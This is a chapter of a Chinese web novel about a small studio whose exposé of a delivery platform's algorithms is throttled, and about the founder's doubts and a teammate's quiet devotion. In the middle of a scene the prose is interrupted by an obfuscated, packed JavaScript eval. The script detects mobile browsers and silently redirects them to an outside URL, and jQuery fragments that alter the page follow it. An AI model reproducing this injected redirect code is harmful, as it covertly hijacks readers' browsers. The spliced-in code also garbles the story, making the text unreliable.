61.算法囚徒(八):暗流

作品:《代吵师

    文章发出去的第四十八个小时,应宽盯着屏幕上的数据曲线,眉头锁成了一个死结。


    "停了。"


    他的声音很轻,像是在自言自语。


    徐寄遥从电脑前抬起头,眼底有淡淡的青色。过去两天,她几乎没怎么睡。


    那篇《算法之恶》的文章,在发布后的前六个小时里,阅读量还算正常地爬升到了五万,评论区内也逐渐聚集起一些骑手的真实声音。


    但昨天晚上十一点左右,曲线突然变成了一条平直的线。不是缓慢增长,是彻底的、毫无波澜的静止。


    "什么叫停了?"吴小糖凑过来,嘴里还叼着半根能量棒。


    "阅读量停滞在七万三千,点赞数停在四千二,转发数九百。"应宽的手指在键盘上敲击了几下,调出几个不同的浏览器窗口,"不只是增长停了,是限流,全平台的限流。"


    他打开微博,在搜索框输入"算法之恶代吵师"。


    没有任何相关结果。


    换成"情绪稳定积分剥削",跳出来的只有速达外卖的官方宣传稿,以及几个吹捧杨亚波"企业家精神"的通稿。


    小红书、公众号、知乎,所有平台的搜索结果都出奇地一致。


    那篇耗费了他们整整六个小时心血的文章,仿佛从未存在过。


    "杨亚波动作够快的,"俞彩虹放下手里的咖啡杯,杯底与桌面碰撞发出一声沉闷的响,"而且做得干净利落。不删帖,是限流,让你发得出声音,但谁也听不见。这比删帖更恶心。"


    吴小糖不死心地刷新着手机:"可是……我们没违规啊?文章里没有任何敏感词,数据来源都是公开的……"


    "数据是公开的,但解释权不是,"应宽推了推眼镜,镜片反射着冷白的屏幕光,"杨亚波有最顶级的舆情团队,有平台内部的接口人。他们不需要找文章里的错,只需要调整一下算法的权重,让我们的内容排到最后,让关键词关联失效,流量池就会把我们隔绝在外。这是他的主场。"


    徐寄遥又想起杨亚波演讲时说的那句话:"市场经济不相信眼泪。"


    现在她真切地体会到了——在这个由算法和资本构建的世界里,真相本身毫无力量,除非有人愿意为它买单,或者有人愿意为它冒险。


    "我们跟他算是杠上了,"徐寄遥的声音有些沙哑,"从这篇文章发出去的那一刻起,代吵跟和解大师就不再是平行线。我们在他的盘子里插了一刀,他现在是在告诉我们:要么收回刀,要么连手一起剁了。"


    "那我们就发第二篇,"吴小糖咬着牙,年轻的面孔上写满了不服气,"他限流一篇,我们发十篇;限流十篇,我们发一百篇!"


    "没用的,"应宽打断她,调出一张复杂的网络拓扑图,"我查过了,他们启用了关键词关联封锁。只要我们文章里出现''速达''''情绪积分''''逆优化''这些词,就会自动进入低流量池。除非我们彻底换一套话语体系,但那样,网友就看不懂我们在说什么了。"


    工作室里陷入沉默。


    徐寄遥走回自己的座位,屏幕上是她写了一半的第二篇文章。标题是《当算法学会撒谎》,内容更尖锐,直指杨亚波利用"科技向善"包装剥削的本质。


    但她现在犹豫了。手指在键盘上悬停了十分钟,一个字也没打出来。


    她在想那两千万。


    深澜资本的合同草案还躺在她的邮箱里,密密麻麻的条款,每一页都附着法律风险的提示。梁蓓的团队昨天刚做完尽职调查,一切都朝着好的方向发展。


    如果这时候,再发一篇更激烈的文章,然后杨亚波动用更强的手段反击,这场战争就会升级到你死我活的地步……那笔投资还能准时到账吗?


    资本是厌恶风险的,尤其是厌恶这种明面上的、可能引发法律纠纷的对抗。


    "寄遥姐?"吴小糖小心翼翼地看着她,"我们还发吗?"


    徐寄遥看着屏幕上闪烁的光标,第一次感到一种前所未有的撕裂。


    她想发,想战斗,想把所有的真相都砸到阳光下。但作为代吵的创始人,作为刚刚看到一丝曙光的团队leader,她不敢。


    "让我想想。"


    手机突然震动。


    徐寄遥打开一看,居然是梁蓓发来的微信。


    "寄遥,我明天到京。正式签约前,想跟你单独聊聊。明晚七点,国贸银泰的京兆尹,我订了位置。别带团队,就我们俩。——Baby"


    徐寄遥盯着这条微信看了很久。


    她注意到梁蓓用的是"聊聊"而不是"谈项目",也注意到"别带团队"这个特意强调的指令。


    一种说不清道不明的不安感在心头升起,又夹杂着某种奇异的、被重视的慰藉和期待。


    她回复:"好的,明晚见。"


    /


    晚上九点,俞彩虹和吴小糖先后离开了。


    徐寄遥还坐在电脑前,屏幕的光映在她脸上,忽明忽暗。她盯着那篇未完成的草稿,思绪却飘得很远。


    她想起应宽数据图表上那些代表着"死亡螺旋"的红点,想起自己创立代吵的初衷。她也想起账上所剩无几的余额,想起应宽为了省服务器费用而熬红的双眼。


    她感到一种深深的疲惫袭来。一种精神上悬在半空、无处着落的虚浮感。


    她站起身,走到厨房,想倒杯水,却发现水壶是空的。


    "我刚烧水。"应宽的声音从身后传来。


    徐寄遥回头,看见应宽站在卧室门口,手里端着两个马克杯,热气袅袅上升。


    他穿着一件洗得发白的牛仔衬衣,头发刚洗过,还湿着。软软地贴在额头上,看起来比平时年轻了好几岁,也柔软了好几度。


    "你还没休息?"徐寄遥接过杯子,是温热的蜂蜜水,甜丝丝的,一直暖到胃里。


    "在整理数据,"应宽走到沙发旁坐下,拍了拍身边的位置,"而且知道你会睡不着。"


    徐寄遥在他旁边坐下,两人之间隔着不到半米的距离。在这个堆满了文件和电子设备的客厅里,这种距离既亲近又安全。


    应宽身上有淡淡的洗发水味道,是某种青柠混着薄荷的香气,在浑浊的空气中显得格外清新。


    "被限流的事,"应宽开口,声音不高,"不是文章的错,也不是你的错,是对手的体量差距。我们发出的声音,哪怕现在被压住了,但还是有人听到了。那些骑手,那些转发过的博主,他们心里已经种下了一颗种子。限流只能捂住嘴,但互联网是有记忆的。"


    徐寄遥捧着杯子,看着水面上自己的倒影:"我在想……是不是该等投资到账了,再……"


    "再反击?"应宽转过头看她,眼镜片后的眼睛很亮,"徐寄遥,你知道我最欣赏你什么吗?"


    徐寄遥愣了一下,转头看他。


    "就是你从来不会为了''站稳''而出卖''站直''的权利。"


    应宽的表情很认真。


    "上次你拒绝杨亚波,可能在很多人眼里会觉得你错过了一个亿。但是我知道,你拒绝的不是钱,是不愿意跪。这次也一样。如果你现在因为害怕投资泡汤而束手束脚,那我们就不是代吵了,我们只是另一个和解大师。"


    徐寄遥的眼眶突然有些发热。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413288|197680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她低下头,不想让应宽看到自己的脆弱。


    "可是……我不能拿你们的未来去赌,我想让大家都过得更好一点,至少有更好的环境,而不是在这个居民楼里熬夜。应宽,两千万,可以让我们都活得体面一点……"


    "体面?"


    应宽突然笑了,那笑容里有一种宠溺,像是看着一个固执的孩子。


    "徐寄遥,你觉得什么叫体面?坐在国贸的写字楼里,穿着名牌西装,看着算法把一个个活生生的人逼成数据燃料?还是像我们现在这样,在这个老破大的居民楼里,喝着蜂蜜水,但却知道自己每一句话都对得起良心?"


    他往前倾了倾身子,目光直视着她:"我告诉你,对我来说,后者才是体面。而且……"


    他停顿了一下,声音变得更轻,轻到几乎像是耳语,"而且只要能跟你一起……工作,用什么设备,发不发得出工资,都没关系。我相信你,不是相信你能给我带来财富,是相信你能带我走向一个值得到达的地方。无论那个方向是对是错,只要你决定走,我就跟着。"


    徐寄遥抬起头,在昏黄的灯光下,她看到应宽的眼睛。那双总是藏在镜片后面的眼睛,此刻清澈得惊人,里面没有犹豫,只有一种近乎虔诚的坚定和深藏不露的温柔。


    她突然明白了,为什么这么多年,应宽从未离开。为什么每次她想要做什么离谱的事,应宽永远是那个说"好,我去做数据支持"的人。


    那不是下属的忠诚,也不是团队伙伴的责任。那是一个男人对一个女人最深沉、最克制、最不求回报的爱慕。


    这个认知让徐寄遥的心脏猛地收缩了一下。


    她张了张嘴,想说什么,但应宽已经移开了视线,恢复了那种略带技术宅气息的表情,仿佛刚才那一瞬间的流露只是她的错觉。


    "所以,"应宽推了推眼镜,语气恢复了平日的冷静,但耳尖却悄悄红了,"第二篇文章你想发就发,不想发我们就想别的办法。做视频?或者我们直接去找那些骑手,收集更多一手证据,做成纪录片?技术层面我都能搞定。你只需要做决策,剩下的,交给我。"


    徐寄遥看着他,看着这个在她最脆弱的时候,依然选择站在她身后的男人。她突然感到一种前所未有的安心。


    就像是在狂风巨浪的大海上,她是一艘随时可能倾覆的小船,而应宽是那块压舱石,沉默,厚重,让她不至于被浪打翻。


    "应宽,"她轻声说,"谢谢你。"


    "嗐,谢什么,见外了,"应宽站起身,伸了个懒腰,试图掩饰刚才那一刻的暧昧,"我去把那段逆优化的代码再跑一遍,看看能不能找到更多数据。你早点休息,明天还要去见梁蓓。那是大事,得养足精神。"


    他走向自己的卧室,在门口停下,没有回头:


    "徐寄遥,不管明天梁蓓跟你谈什么,不管那两千万最后能不能到账,你记住,你已经证明了你自己。不需要那笔钱来证明,也不需要任何人的认可。"


    门轻轻关上了。


    徐寄遥独自坐在沙发上,手里捧着那杯已经凉了的蜂蜜水。


    窗外的城市灯火阑珊。明天晚上,她就要见到梁蓓,那是一场未知的饭局。


    可能关乎两千万,也可能关乎更多她尚未察觉的试探和选择。


    但此刻,在这个旧居民楼的顶层,在这个堆满了理想和困顿的空间里,她感到一种平静。


    因为无论明天发生什么,她知道,当这场战争继续打下去的时候,应宽会一直在她身边,做她的盾,做她的剑,做那个永远给她正反馈的人。


    这让她有了面对一切的勇气。